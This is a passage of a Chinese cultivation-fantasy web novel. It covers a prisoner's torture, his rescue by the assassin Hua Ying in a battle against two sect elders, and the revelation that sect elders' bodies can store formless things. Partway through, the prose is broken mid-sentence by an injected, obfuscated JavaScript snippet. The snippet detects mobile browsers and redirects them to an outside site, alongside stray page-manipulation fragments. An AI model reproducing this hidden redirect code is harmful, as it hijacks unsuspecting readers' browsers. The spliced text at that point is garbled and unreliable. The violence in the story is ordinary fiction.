“公子,除了那个人的名字,陈镜竹还是一个字都没吐出来,再用刑问下去,恐怕他活不了。”他如实禀报,顿了一下,继续说,“属下以为,不如给他一个机会,让他联系那人,把人引过来,我们提前设伏。” “同样的算计,谁会再信第二次?”陆逸君指尖点了点石壁,轻哼声,骂了一句蠢货,“被七长老私吞的那块玉佩,定然已经被那人找到了,她会用它找上门来。” 那人让烨都损失了两名长老,他非得见见她是何方神圣,然后亲手宰了她。 “把这方圆十里的动静都看紧些,再出岔子,你也去牢里陪陪陈镜竹好了。” 屏风后的这名心腹瞳孔猛然一缩,埋低了头,领命退出房门。 “对了。”陆逸君散漫开口,带着几分戏弄的意思,“去告诉陈镜竹,枯音琴我不想要了,他不用再在那群老不死的东西与他星罗宫的什么心血之间难以取舍。我现在只想要他看好星罗宫如何被他亲手葬送。” 心腹立刻应了一声,往地牢里走。 地牢之中,血腥味与潮湿腐烂的气息浑浊,幽光惨白。 原本俊秀开朗的陈家小公子只剩下那双黑亮的眼睛还露出点活人的气息,一身青色衣袍上处处是血。 血迹干了又湿,染了泥水,一层层叠出一种坚硬的深黑色,看不出原样。 体内的灵力被封得只剩下微不足道的一缕,用来确保他不会死在陆逸君突发奇想的折磨上,无论是逃生还是反击的术法都用不出来。 现在这种情况下,还能给他带来一丝希望的东西并不多了。 陈镜竹摸了摸胸口,心铃的力量来自于此,他其实也早该把心铃化进这里,不让任何人看见。 而不是被人用它来诱骗华盈步入陷阱,连最后一个能救他,想救他的人也要斩草除根。 胸腔中的起伏也如他这具身体一样奄奄一息,疲惫不堪,陈镜竹自己都不知道这代表了什么情绪。 愤怒?悲伤?后悔? 至少绝对不可以是绝望。 墙上的蜡烛被突然灌进的风中扫灭几支,地牢中光线更加微弱。 有人进来了。 陈镜竹还能站起身来,他抓着栅栏,喉咙里发出破风箱一样嘶哑的咳嗽声,乱蓬蓬的头发下藏着狼一样凶狠的目光。 倒数着时间。 10. 第 10 章 苍云息清点完了物资,列好分发安排的单子带去小楼,推门就见华盈也在。 华盈不久前沐浴过,换下了被雨水淋湿的衣裳,穿了一身水绿长裙坐在桌子边,双手撑着脸颊,眼巴巴地盯着桌上还冒着热气的麻婆豆腐。 乌发还带着点水汽,就用彩色的发带随意绑了绑,说不出的娴静秀美。 “你怎么在这里?”苍云息和她熟络了些,能有来有回地说上几句话,他也不急着找林之凇了,环臂倚在门口跟她打招呼。 华盈指了指桌上刚出锅的饭菜,眸子亮晶晶的,她的确有些饿了,于是端起手边的杯子抿了一口水。 “我在屋子里闻到这里很香。”华盈的话音清脆坦率,“你也不喜欢每顿都吃干粮吧,正好到晌午了,一起?” 苍云息挑挑眉,嘿了一声,真想把外面的人都叫过来看看,到底谁比较有不怕死的精神。 他走过来拉了把椅子坐下,指了指桌上的饭菜,深沉地摇摇头:“知道这饭菜是谁做的吗,你就敢吃?还拉我入伙等着一起共进退?” “林之凇,我看见他进厨房了。”华盈也给他递一杯水,唇角漾着笑,“可他只是拿眼刀子刮了我两下,没有叫我滚出去,我想这是能让我尝尝的意思吧?” 苍云息接了这杯水,喝出了几分同甘苦共患难的意思。 他压了压声音,毫不犹豫拿林之凇的底细作为诱惑:“林之凇做的五味杏酪鹅和蟹酿橙其实更好吃,但如今在沧州,梦里想想就行了。等这里的事解决了,你跟咱们上一趟青要山,说不定咱俩能趁他心情好,怂恿他下厨做一桌。” 华盈舔了下唇,笑:“好啊。” 青要山防守森严,不怎么欢迎外来之人,和烟火繁荣却又鱼龙混杂的北荒不同。 苍云息又是林之凇身边懂规矩的人,就是开玩笑也不能随随便便说出要带人去青要山的话。 除非林之凇下水要找的东西真与她有关。 巧了。 灵血? 计划中,她最后要抛给他的诱惑本就是灵血。 华盈轻轻一笑,此刻是真心想看看林之凇这种为达目的而不择手段的人,最后会为了灵血,用什么法子把她从江家揪出来。 “怂恿谁?” 林之凇从厨房里出来了,右手端了一碟玉米烙。 明明还沾着从厨房里带出来的烟火气,却毫不留情地给你丢出一句威胁性极强的话。 苍云息准备动筷子了,为了这顿饭吃得顺利些,主动找了别的话题:“我派了人去了一趟白衣门,把他们宝贝得不行的那几块药园毁了,怎么样,咱们这气算是出了吧。” 去劫和十方雷域的残力在体内的纠缠扭打还没彻底消停,林之凇说话都费劲,没搭腔,只安静吃饭,一筷子伸向那碟三鲜丸子时,恰好与专心夹菜的华盈碰了碰筷子。 “林大少主先。”华盈笑吟吟缩回筷子,转头去给自己盛了一碗汤。 她已经摸清了这位少主的怪脾气,在他刚刚压下眉梢时就先奉上一个软和的笑,客气得不行,话题也顺便掀了过去:“这桌饭菜是我吃过最好吃的了,若是还有下次,我来给你搭把下手,顺便学学。” 林之凇分得清她这句话不是违心的恭维,她一顿饭吃得专注又安静,也不挑什么,只是想吃饱。 这种同类的特征又把那些都快被忘干净了的记忆扯了一个线头出来。 林之凇放下筷子,背脊往后靠在椅背上,目光落在她身上,片刻的怔散后,凝成剔肉见骨,细细描画的刀。 那么多复杂而又矛盾的特质全在她身上,搅成了团团迷雾。 苍云息还在和华盈有一搭没一搭地聊着闲话,一名崇阿军战士带着消息进来了,走得急,把三人的目光都拉向了他:“少主,陈镜竹的位置找到了。” 林之凇嗯了一声,余光扫到华盈满眼“我要是不能听,就端着饭菜先出去了”的真挚眼神,直接问:“在哪?” 那名战士说:“雁回岭附近,离临春楼不远,周围全是树林。” 林之凇说:“去斩尘堂挑几个人。” 要拿到烨都与邪阵有关的证据,绕不开陈镜竹那一帮子人,必须得捞一个出来。 “我快吃好了,我去走这一趟吧。”华盈还咬着玉米烙,含糊接话,“雁回岭这种地方最适合用来藏身,陈镜竹定然是逃出来的,等你们从斩尘堂花钱请来的人赶来这边,他指不定已经被捉回去了。” 她把这口饭菜吃完,放下筷子,笑眯眯地向林之凇摊开手心:“我懂,不能让人误会我与青要山有关系。” . 雁回岭,乌云层层迭千重。 密集的雨水顺着门口垂落的藤蔓浇落下来,灌进这座破旧无人的寺庙里。 陈镜竹靠着潮湿斑驳的墙壁坐在地上喘气,他没有力气再往前走了。 好在离开了那间布满结界的牢房,他可以试着用微弱的灵力与枯音琴取得感应,借枯音琴的力量来尝试解开灵力的封锁。 心铃被打碎的瞬间爆发出的力量不仅重伤了陆逸君派来的那名心腹,还在原地开辟出了一条空间通道。 空间术种类纷繁多样,陈家心铃的原理也与空间术有关,因此它也能开辟出传送通道。 但这条通道只是用来传音的,从来没有人试过用它来传送一个活物。 声音没有重量,物却有。 谁知道一个活生生的人进入了一条只用来传递声音的空间中,支撑此处空间的灵力会不会在瞬间溃散瓦解。 一旦遇上这种不幸,破碎的空间碎片将化作无形而锋利的刃,将人粉碎于虚无之中。 除了临死之前不愿让种种复杂晦涩的心意彻底失去见到天日的机会,遗憾或悔恨无法再被化解,没有哪个陈家人会打碎自己的心铃,忍受被它的反噬。 但陈镜竹顾不了什么反噬了。 他好不容易才抢在他们要毁了心铃之前,用积攒了那么多天的灵力,将它化进自己的身体,躲避了被搜走,今日又忍受着剜肉剔骨一般的剧痛把它生生剥离出来。 门外风雨如晦,不时有紫色的雷光从天劈斩而下,草木皆兵,心中的恐惧攀升至顶点。 陈镜竹咬牙收拾好所有心情,专心感应枯音琴的存在,来自遥远之地的琴弦拨动声在脑海里激起了浅浅的音浪。 门外突然有一层澎湃的灵浪横扫而至。 凶悍的灵力粉碎所到之处的山石劲草,无数坚硬的碎屑被卷至半空,朝着四面八方猛袭而出。 这股力量来得强势,高傲,毫不遮掩,要让躲藏在眼皮子底下的猎物知道自己已经死路一条,乖乖将喉管送到猎人的刀刃上。 他们追来了! 陈镜竹身子僵得像是被拉入了寒潭之中,他与枯音琴的感应被打断,弓着身扑倒在地,哇的一声吐出血来。 庙里有数条漆黑无光的甬道连接地下,不知通往何处,他扶着石壁挣扎起身,慌不择路地往其中一条跑去。 一只庞然大物朝着寺庙奔袭击而上,发出的尖锐鸣叫声令大地都在颤抖,让他还没来得及钻进甬道,就一个趔趄摔倒在地。 轰隆! 撞击产生的爆炸惊天动地,就发生在眼前,坠落的一簇簇星火不断爆燃炸开,陈镜竹脑海里嗡嗡作响,心里只有无法言说的后怕,方才若是再往前走快一步,此刻定然被炸得血肉横飞。 整座寺庙都被方才的爆炸彻底损毁,他彻底暴露在断壁残垣之中,只看到一只九尾狐狸的巨大虚影盘旋在半空之中,橙白二色交织的皮毛上有丝绸般华美的光泽流动。 九尾尖端绽放出炽热的火苗,眨眼间就能点燃大片区域,焚烧一切阻碍。 下方站着两个神色冷漠的人。 他恰好认得。 那日入星罗宫抓走他们的人之二。 烨都的长老,逍遥境。 陈镜竹原本还想在残砖断瓦中费力爬起身来,仰头对上烨都长老高高在上的漠然神色,突然大笑起来,满脸是泪。 “为什么?!星罗宫与你们烨都无冤无仇,你们为什么要做到这种地步?!” 陈镜竹跪在大雨中怒吼,质问,身体止不住地痉挛,呼吸越发急促,泛红的眼睛里血丝交错。 “先是杀了我父亲,又用我星罗宫所有长老的性命来威胁我,真是可笑,枯音琴与我陈家有血脉力量的联系,你们即便拿去也毫无用处,你们明明就知道!却偏要害得我家破人亡……你们烨都难道已经当自己是主宰一切的天地之主了吗?!” 积水的洼地中倒映出青年此刻脆弱的表情,布满双眼的血丝如同怨毒的咒纹。 那两名长老的神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14792528|158180||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情毫无变化,在黑沉沉的雨幕中显得尤为阴冷,橙白狐狸在空中躁动又兴奋地踱步,只等主人一声令下,就冲上前去将他的筋骨咬断。 四长老听到枯音琴三个字就有些不悦,想起自家公子之前为了夺取枯音琴送给天武那女子,而在陈镜竹身上浪费的那些时间,心里叹了声不争气。 他开口:“枯音琴?哼,你们星罗宫长老的用处可比枯音琴大得多,可是最好的容器……” 六长老皱眉摇头,无声打断他,橙白狐狸随着他招手示意的动作冲向陈镜竹,锋利的爪牙折射出刀剑光寒。 陈镜竹猛然想明白了什么,瞳孔一颤。 他来不及再仔细捋清其中逻辑,橙白狐狸如一缕青烟挪行而至面前,狂暴的气息好似一根根锁链拖拽着他往地狱里去,伸出的前爪拍向了他的胸口。 陈镜竹自认有骨气,不怕死,被陆逸君折磨那么久也没做出任何有损星罗宫颜面的事情。 却在濒死的一瞬间,切切实实地感觉到了恐慌。 让他瞳孔睁大。 耳畔却响起狐狸的惨叫。 一支金褐色的长箭穿过重重雨幕,在三人意外的目光中,击碎狐狸身上缠绕着的令人心神俱骇的暴虐气息,精准贯穿它的喉咙。 狐狸虚影散作一缕灵力化在风雨中,凄厉的叫声戛然而止。 陈镜竹眼前视线没了阻碍,看清了对面不远处的树干上站着的女子。 华盈一身水绿色衣裙在风雨中飒飒飞舞,樱唇粉腮,容色如画,下巴微微抬起,十足耀眼。 陈镜竹简直热泪盈眶,他张了张唇,一声“你就是我的再生父母啊”差点脱口而出。 烨都长老们从惊讶中快速反应过来,四长老直接朝华盈动手,冷喝声沧桑粗哑:“哪来的黄毛丫头,找死!” 华盈勾勾唇。 拉弓,搭箭,弓如满月,猛地松手,朝着冲她杀来的四长老射出第二箭。 箭去如星,崩风碎空。 这一线寒芒划过雨帘,尖锐呼啸的大风随之掠起,将路径上的大树连根拔起。 长箭贯穿四长老的右掌,溅出血水如柱。 掌心的剧痛无异于一种讥讽与挑衅,这位年轻时亦能叱咤风云的四长老脸色骤变,鹰隼般的双眼骤然燃起怒火,滴血的手掌飞速结印。 六长老对这方战局的输赢毫无疑问,迈步走向陈镜竹,一刀挥去。 华盈身轻如燕,极快地穿梭在大雨中,看似一闪身的功夫就已经出现在了陈镜竹面前,以弓为盾,轻轻松松横挡下了寒光灿然的刀刃。 长弓断裂,华盈却一步未退,包裹在双手的灵力也未被刀气震散,还要顺手抄着断弓朝六长老连攻三招才肯把它丢了。 六长老面沉如水。 轻而易举接下逍遥境修行者的一击,这是从哪里冒出来的后起之秀? “你是什么人?能与老夫对上三招而毫发无损的年轻人屈指可数,就四大家,瑶台境和天泉界那几个,可从没听过你这号人。”六长老一刀斩裂她身上的阵法,断了她原地开送阵把人拖走的念头,神色厌恶又阴沉,“你若不说,老夫今日就拆了你的骨头放了你的血来锻刀。” “你吵不吵?”华盈拧拧眉,目光越过六长老,辨认出了四长老手中的结印,一缕森然的杀意在眸中闪动。 不打一场是不可能了。 她偏了偏脑袋,给陈镜竹指了个方向:“跑。” 说完,她抬手结印,神色镇定又冰冷。 陈镜竹扭头一看华盈示意的方向,毫不犹豫爬起身来,早已疲惫不堪的身体突然就跟打了鸡血一般又有了力气,朝着那里飞奔,听见身后有一道水墙冲天而起,掀起飞沙走石。 太好了,有华盈在,那两个老东西连碰都碰不到他。 半里之外,浓密树荫下,陈镜竹却如惊弓之鸟一般猛然刹住脚步,死里逃生的欣喜在这瞬间冻结成冰。 一道孤冷慑人的背影撞入他眼中。 那人气息不露半分,即便是不远处还在交战的强者们也察觉不到他的存在,陈镜竹却不敢把他当成空气一样视而不见。 一种被巅峰战力强势压制的恐惧感席卷陈镜竹全身,每一处关节似乎都被套上了无形的沉重枷锁。 陈镜竹喉咙上下动了动,一步步,艰难地往后退。 11. 第 11 章 华盈乌黑的长发在刀气掀起的冲天灵浪中飞舞,系在头上的彩色发带断落,像是折翼的蝴蝶。 六长老刀法诡谲,势必要见血才肯罢休,纵身蓄力而出的一刀当头斩下,伴随一道巨大的金色刀影自他上空同步斩向华盈。 华盈从腰间摸出一把匕首,上挑抵挡,轰碎巨大的刀影,利刃撞击间,高速摩擦出的火星飞溅,烫伤二人的脸颊。 六长老皱眉之际,华盈一掌拍在他身上,折断了他几根肋骨。 听着他的闷哼声,华盈唇畔弯了弯,后撤身避开余下四溢的刀气,一掷而出的匕首极速洞穿六长老举掌拍来的大手后又飞回到她手中,气得他愣是没忍住涌上喉咙的那口血。 四长老将他二人的战局看在眼里,此刻无法再欺骗自己不承认与华盈交手时的惊心动魄,双手结印的速度快到极致,大功告成般骤然一顿。 来自四面八方的乌云快速聚集在他的头顶,浓厚堆叠,沉沉欲坠。 乌云如庞大的漩涡般徐徐转动,其中雷声滚滚,刺眼的光芒闪过如墨苍穹,仿佛酝酿着什么极为凶险的庞然大物。 华盈抬首望去,仅以目光注视就惹恼了云影雷光中蕴藏的力量,她周身的灵浪被它压得层层破碎,又不断衍生,唇畔的弧度往下压,眸色严肃几分。 烨都四长老年少时,凭虚生术成名。 虚生能召出一些古老,玄乎,甚至邪门的东西。 恐怖无比的动静从乌云中传了出来。 华盈的脸上浮现出了淡淡的红光。 这光从乌云的间隙中照射而出,随着一条条云隙不断撕裂扩大,很快变得浓稠诡异,直到云层轰然崩塌,一座燃着大火的城池出现在墨色虚空之中。 华盈清晰看见城墙的每一个缝隙间都透出血红色的光芒,这种颜色令人十分不安,甚至止不住想要逃走。 古怪的声音随之隐隐作响,被耳朵捕捉到的瞬间,响彻虚空。是呜咽,哀嚎,诅咒,惨叫。 仿佛那一堵城墙之后就是传说中的地狱。 修罗血城! 被战火灼烧着的城门破损焦黑,疯狂地抖动。 有什么东西要出来了。 四长老站在这片地狱之景的下方,冷眼看着华盈,又恢复了一派傲然的姿态:“你还不束手就擒。” 华盈感受着他浑身暴动的气息,因为不惜抽了大半力量召出修罗血城,快要压不住五行灵气失序对自身的影响。 她歪了下头,疑惑:“就凭你现在惨白着一张脸这样?” 四长老眼角肌肉猛抽,一字一句:“狂妄无知。” 残破的城门霎时间被彻底撞破,木屑纷飞,一具具白骨从城里涌了出来,森白骨架上还挂着一丝丝鲜红的血肉,握在手里的骨刀携着极其可怖的威压,要将人碎尸万段。 未燃尽的火焰在白骨表面流动出危险的色泽,坠下点点的火光点燃大片乌黑的云层。 华盈凝视着雨中燃烧起的火海,双手结印。 白骨身形卡顿而僵硬,每一步都走得一拐一拐的,速度却极快,瞬息间可挪行百里,举刀瞄准华盈,呼啸而至。 与此同时,六长老持刀奔袭而上,朝着她的后背一刀斩去。 华盈眼中似乎燃起了一团黑色的火焰。 四长老脸上的傲慢与自信全部消失,谨慎万分地将她眼里耀然的光芒辨认了一遍又一遍,眼瞳蓦然瞪大,双唇微微颤抖。 天空之中同时升起一轮黑色的太阳,证实了他的猜想。 两仪之一,烛照! 黑日光耀向四方苍穹迅疾铺展开,所到之处,无论何物,皆由内而外溃散。 浓墨般的光芒吞没天幕,乌云崩裂,火海燃尽,手持骨刀杀向华盈的一具具白骨也全部死去,只距她一寸远的刀尖化作飘渺烟云。 修罗血城亦被黑日的力量碾压为齑粉。 四长老目眦欲裂,碾碎修罗血城的力量似乎随着碎屑一并猛击于他身上,他猝然跌倒在地,嘶哑又艰涩地重复了一遍又一遍“不可能”。 世间能具象出山海异兽、玄奇之景的术法并非独一无二,可是两仪万象这些庞大古老,已经涉及天地万物之本的力量,唯有虚生才能召出。 她不可能也会虚生术! 就连他都无法召出烛照! 六长老的刀不见停顿,刀气强势破开萦绕在华盈身后的灵力,要砍下她的头颅。 华盈拧身握住六长老持刀的手腕,近身搏杀反而最是擅长,她一掌轰在他胸口,让他如折翅之鹰一般被击飞出去。 四散的刀气冲击横扫,华盈瞬行撤离原地时仍然没能完全躲过,右臂血水飞洒。 华盈骨子里的倨傲在此刻暴露得明明白白,极黑的眼瞳淡漠地扫了扫跌倒在地的这两人,脚下亮起传送阵。 烨都长老怒火攻心。 逍遥境合围却对这个名不见经传的女子束手无策,若是让外人知晓,简直……奇耻大辱! 四长老一刀插入地面,半尺宽的裂痕朝着华盈脚下的传送阵蛇行而出,声声脆响中,橘金色的阵芒在风雨中忽闪忽灭,断裂的阵纹坠落如星。 二人同时飞身而起,完全不顾体内力量混乱翻涌的警告,摆明了一副不死不休之势朝华盈杀来,满目震怒。 “老夫今日偏要看看,你究竟是什么境界?!” 逍遥境? 在他们之上,跟陆逸君那几个人一样的逍遥境最强者? 这不可能! 华盈逼视二人,眸底泛起一丝厌恶。 “猜猜看。” 她弯弯的清澈双眼中笑意恶劣,天地间的瓢泼大雨突然凝滞,雨水凝固成一根根透明而粗壮的冰柱,从天空中猛然杀下。 冰柱寒光凛厉,雁回岭上亮如白昼。 从天而降的冰柱贯穿了烨都长老的身体,二人被钉死在原地,呕出鲜血,当即重伤昏厥。 华盈冷淡的目光轻扫而过,调息了一下体力暴动的力量,传送阵光芒暴涨,将她带走。 . 足以在修行者之中掀起轩然大波的一幕幕战斗,被悬浮在雨中的留影石完整记录。 林之凇站在树荫下,不动声色地看着远处发生的一切搏杀。 身后那人的脚步与气息皆陷入慌乱。 林之凇微微侧首。 “不会杀你。”他又看回雨中的血城与黑日,言简意赅丢出几个字,“别乱走,等着。” 陈镜竹承认自己都要被吓死了。 在地牢中,他不是没听见陆逸君为了刺激他而故意告知林之凇来到沧州的野心。 比起陆逸君,林之凇应该更想让他和星罗宫消失吧… 陈镜竹脑子里乱得要爆炸,这辈子经历过的最惊心动魄的时刻都集中在今天了。 他不敢轻举妄动,稳住呼吸,捉摸着这位口碑有好有坏但绝对和良善不搭边的青要山少主此刻是什么意思。 不杀他? 那肯定又是不见天日的囚禁。 等着… 等什么? 陈镜竹脑海中蓦然浮现出一个不可思议的念头,他看向雨幕中交手不断的三人,瑟瑟发抖地想,华盈让他往这个方向跑,难道她正是接了林之凇的酬金,才来救他的?! 陈镜竹还没来得及分析这究竟算不算一线生机,眼睛猛然瞪大。 远处,华盈似乎被刀气扫中,右臂血花喷溅。 他心头一慌,又瞧见林之凇的手动了动,像是打算帮忙。 然而紧接着他就知道自己想多了。 林之凇在袖袍下虚握着的手抬至半空,手背青筋鼓现,似乎在竭力将远处的什么东西捕捉过来。 他同一时间吩咐:“准备。” 陈镜竹这才发现树影中还藏着一个黑衣人,他瞬行来到林之凇身旁,双手结印,身前气流涌动,旋转出一个漩涡。 林之凇手里抓到了什么,似一缕血气,将它甩入了那个漩涡之中。 整个动作行云流水,干脆果决,分明是等待已久。 陈镜竹看得心脏砰砰直跳。 漩涡吞了东西,转动的速度变快,像是野兽掀开獠牙嚼咽东西。黑衣人紧盯其中的动静,将要分解离析出什么关键之物。 林之凇依旧在平静注视雨中的战场。 片刻。 “少主。”黑衣人有了结果。 林之凇回首就见黑衣人摇头。 他眉头往下压了压,那种孤冷凛厉的气场让此刻就像惊弓之鸟一样的陈镜竹尤为恐惧。 “没有离析出有用的东西,也许是她警惕性极强,时刻都把它的气息压得很死,一丁点也不外泄。”黑衣人垂首,如实禀报,“也许是它不在她身上。” “知道了。”林之凇眼中阴翳深。 一根根冰柱从天幕中轰然钉下。 林之凇看见风雨中的华盈裙袂飞扬,眸如寒星,明暗交错的雷光不断闪烁在她身上,簇拥着此方天地间最璀璨夺目之人。 他竟然不自觉想起那晚的荆棘,总算知道了什么是危险又迷人。 下一刻,华盈被传送阵的光芒完全淹没。 最多只能与她隔一里远的林之凇抓了留影石,吩咐黑衣人开传送阵:“走。” . 华盈在自己院子里休息了一会。 她先是闷闷不乐地在眼睑下方被星火烫伤的位置上涂了些愈肌复容的药粉,又仔细给自己的手臂敷了止血愈伤的药膏。 去雁回岭之前从林之凇眼皮子底下拿走的一盒茶酥,她打开慢慢尝,等到力气都恢复得差不多了,灵脉里力量的流动也缓和顺畅下来,华盈重新回到妆镜边,把披散的长发梳好。 铜镜中照出眼下的伤疤清晰得刺眼,华盈左看右看都十分在意,最后拿起胭脂眉笔在脸上细细描妆。 眼睑下方,灵力凝结出了几片小小的雾月昙花瓣, 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苍云息在椅子上坐着,身旁站了两个青要山的修行者,他一只手搁在木椅扶手上,撑着下巴看陈镜竹还要在这屋子里踱步到几时。 陈镜竹双手抄在袖子里,一边来回不安地踱步,想着华盈与青要山这边的关系,想着今日如何才能从这间屋子里走出去,一边偷偷瞄了眼坐在主位上的林之凇。 他从前只听过四大世家那几位响当当的名号,虽也无比向往他们一骑绝尘的实力,却并不嫉妒。 他自己也是同龄人中能作为标榜的存在,与林之凇和陆逸君这些人比起来虽然逊色许多,但他已经做到自己的极限,得到了长辈与自己的认可。 如今总算和他们打了一次交道。 实在是……永生难忘。 林之凇的耐心已经耗尽了,掀了掀眼皮,侍立在一旁的修行者立刻会意,走向陈镜竹,手中术法凝结。 陈镜竹眼皮一跳,往后挪了几步,正想着说就说吧反正他多少有些准备了,华盈从屋外走了进来,经过他身旁时,留下一缕极浅的不知名花香。 苍云息本就坐不住,听见外面有脚步声踩着水而来时,就伸着脖子往屋外看了看,最先看见华盈施了妆的一张脸。 他双手环胸,认真欣赏了一番她的妆容,一句“你这还真漂亮但下次能不能快点啊林之凇在这我们大家都熬不住”刚要脱口而出,脑海里闪过一些惨不忍睹的画面。 沉痛的经验再一次提醒他牢记,没事就少管女孩子的事情,于是到了嘴边的话也自觉消了音。 林之凇也自然而然地瞥了她一眼。 乌发雪肤,香腮含粉。 目光动了动,扫过那几片娇艳欲滴的花瓣。 身上刻了那么多字也不手抖,脸上却知道遮一遮,还以为她真的不在乎伤疤。 华盈还没拉开椅子坐下,就被陈镜竹突然冲过来的动作吓了一跳。 她皱着眉扭头看了看躲到她身旁的这位星罗宫少宫主,真想象不到他在陆逸君手里遭了什么罪,才从一个意气风发从容不迫的小公子变成了这惊弓之鸟的落魄模样。 “华盈,你是来救我的吗?” 陈镜竹憋了太久的话脱口而出,一把鼻涕一把泪,说到最后几乎变成了哀嚎,“你都不知道,陆逸君简直是个疯子,烨都的入魔者绝对都没有他可怕!还好你来了,不然我今天死在那荒郊野外的,估计连渣都不剩。” 华盈指了指旁边的椅子:“先坐。” 她给他递了一杯茶,嗓音温和,字句理性:“我救你一次,是因为你还欠我一个人情没还。现在过来,是因为我和林之凇一样,需要问你几件事情。” 陈镜竹心里顿时凉了半截。 华盈是杀手,本就应该把恩怨,利弊与价值算得很清,你不能因为欣赏她的实力与为人,将她当成可以托付信任、值得付出真心的朋友,就要求她也把你当成朋友,为了你赴汤蹈火。 他看了看华盈柔和的脸庞,再看看冷淡的林之凇,忽然明白谁也不能希求得到平白无故的恩惠。 自己的生死全在自己具有多少价值,愿意为了一线生机付出什么。 一旦接受了这个事实,心里忐忑不安的情绪反而意外地平息了许多。 陈镜竹终于恢复了几分镇定靠谱的神色:“问吧,只要是我能说的,我绝不隐瞒。” 他以为华盈会重复苍云息之前的询问,譬如“陆逸君把你们抓走是为了做什么?”“他在沧州的行事你知道多少”“星罗宫到底有几个具意境”。 能说的和不能说的,他心里有底。 却没想到华盈轻轻放下手中那只漂亮的玉兰杯,一双乌黑的眼睛温和却严谨地捕捉着他的表情。 她问的是: “你们星罗宫长老的身体,是不是能用来储存一些东西?” 12. 第 12 章 陈镜竹身上的汗毛一根根竖起,指腹无意识地摩挲着茶盏上的纹理,眼里浮现出一阵复杂的神色。 苍云息也挺直了背脊,皱皱眉:“华盈......” 这问的是哪门子问题? “想好了再说。”华盈笑吟吟的,提醒陈镜竹不必用假话来骗她。 陈镜竹快速组织好的语言被她这一眼看得哽在喉咙里,咬咬牙,放弃了那些半真半假的话:“我说,但这是星罗宫秘密,华盈,我不知道你是如何猜到的,还请在场的诸位替我保密。” 他看了看这里能做主的林之凇,见他没表示什么明确的反对,便视作默许,下了极大决心一般坦白。 “星罗宫之下,是一条灵河,名为凤鸣璇玑,就因为有了这条灵河的洗濯滋养,星罗宫弟子的灵脉比外面的修行者更加纯净强韧,修行会顺利许多,灵脉之中还能容纳更强大的外力作为补充,具意境以上的修行者受其影响最为明显,整个身体都可以变成容纳无穷之物的容器。” 他打了个比方:“就像珍灵戒之类的容器。只不过珍灵戒装的是有形之物,这样的身体能装下的是没有实形的虚无之物。” 一番话让人听得惊诧沉默。 那六名长老的作用,原来不止是起阵。 林之凇抬眼扫了扫华盈。 世间任何一种特殊的体质都有独一无二的作用,令人羡慕,也培植出贪欲。 若是守不住,护不了,定然会招来祸端。 假如灵血在她身上,而她藏不好又留不住,她该怪自己技不如他,而不是恨他冷漠残忍。 华盈微微蹙眉,此前凭空的猜测都因为陈镜竹这番话而得到证实,还原出了一个令她生气的真相。 烨都在沧州布下邪阵,制造水患,不可能只是为了杀那么多平民百姓。 他们的目的,一定是为了得到什么更具有价值的东西。 星罗宫长老的身体,恰好可以用来收集和盛放这些东西。 一场席卷五城的水患,能带来的虚无之物,无非是恐惧、绝望和死亡。 “你想知道的,我替你问完了。”华盈扭头对林之凇说。 林之凇起身就走。 苍云息看得一愣,跟着起身叫住林之凇:“问什么了怎么就问完了?你俩在打什么哑谜?” 林之凇之回头给了他一个看傻子的眼神,接过门外侍从递来的伞,步入雨帘之中。 苍云息被这道毫不留情的讽刺目光看得炸毛,比听到他直接来一句“能不能把你看热闹的功夫用在动脑子上”还要备受打击,不过他也的确动了动脑子,快速捋清了完整的因果逻辑,底气一下子就上来了,忍无可忍地追了上去,大有一副要跟林之凇比划两下的架势。 “林之凇,你嫌弃谁呢,我不辞辛苦千里迢迢跟你来沧州受罪,别人办不了的事,我接手办了不少吧?我没找你邀功也就算了,真要看不起人,信不信我现在就走……” 火药味十足的控诉越走越远,陈镜竹急慌慌的目光追向消失在雨幕中的几道身影,一颗心七上八下。 “——哎?”他慌忙起身。 华盈没问其他长老被关在哪,林之凇也没问,他根本就不关心。 屋子里转眼就只剩下陈镜竹与华盈两个人,他有些不安,用求助的目光看向华盈。 华盈反问他:“知道烨都为什么要抓你们的长老了吗?” “我原本以为他们只是想抢枯音琴,占星罗宫,可是直到今天才猜到一些。” 陈镜竹不太确定的点点头,看向窗外连绵不绝的大雨,忧心忡忡,说不出的悲伤。 “这雨下得太奇怪了,若是因邪阵而起,便解释得通。星罗宫中,加上两个罪人,其实有六名具意境以上的长老,用他们来起阵,剩下的长老就被用来保存烨都要的东西,真是天衣无缝的计划。” 他胸腔里挤出一丝沉闷的苦笑,颓然地重新坐回椅子上,哑声继续说下去:“星罗宫中定然是出了奸细,可我对这个奸细一无所知,也救不回其他被关押的人。我没办法让我父亲,那些长老,还有沧州这么多无辜之人活过来,就连向他们讨个公道也做不到。” 华盈说:“那就去做点能做的事,比如回到星罗宫。” “林之凇不会放我走的。他麾下有得力之人替他打探邪阵的下落,烨都瞒不了他太久,他接下来要做的,只是毁阵,让这场雨赶紧停了。至于我,要留在他眼皮子底下,他才安心。” 陈镜竹不傻,他已经认清了自己的处境,朝她投去希冀的目光,话音有些艰涩,“华盈,我能不能求你帮我把其他几名长老救出来?我不能让星罗宫四分五裂,甚至被旁支乱党吞了去,只要长老们还在,星罗宫就还有救!况且……华盈,我也想回去,等长老们重振星罗宫,也许能与林之凇谈谈条件,把我换回去。” 华盈笑了一下。 她没想到陈镜竹还有几分天真。 什么谈条件,林之凇对星罗宫能给出的一切资源都不感兴趣,他唯独只想要沧州。 用无法匹配的好处来要求换人,这也不是条件,是威胁。 林之凇绝对会让威胁他的人死无全尸。 华盈对他没有解释什么,陈镜竹却从她客气柔和的浅笑中读懂了自己的天真,心里有些发毛。 华盈回答他向自己提出的请求:“陆逸君此行带了不少烨都长老,今日为了救你,我被两名长老围杀,若是还要去救你星罗宫那几个被关押的人,我直接对上的,也许是陆逸君。” 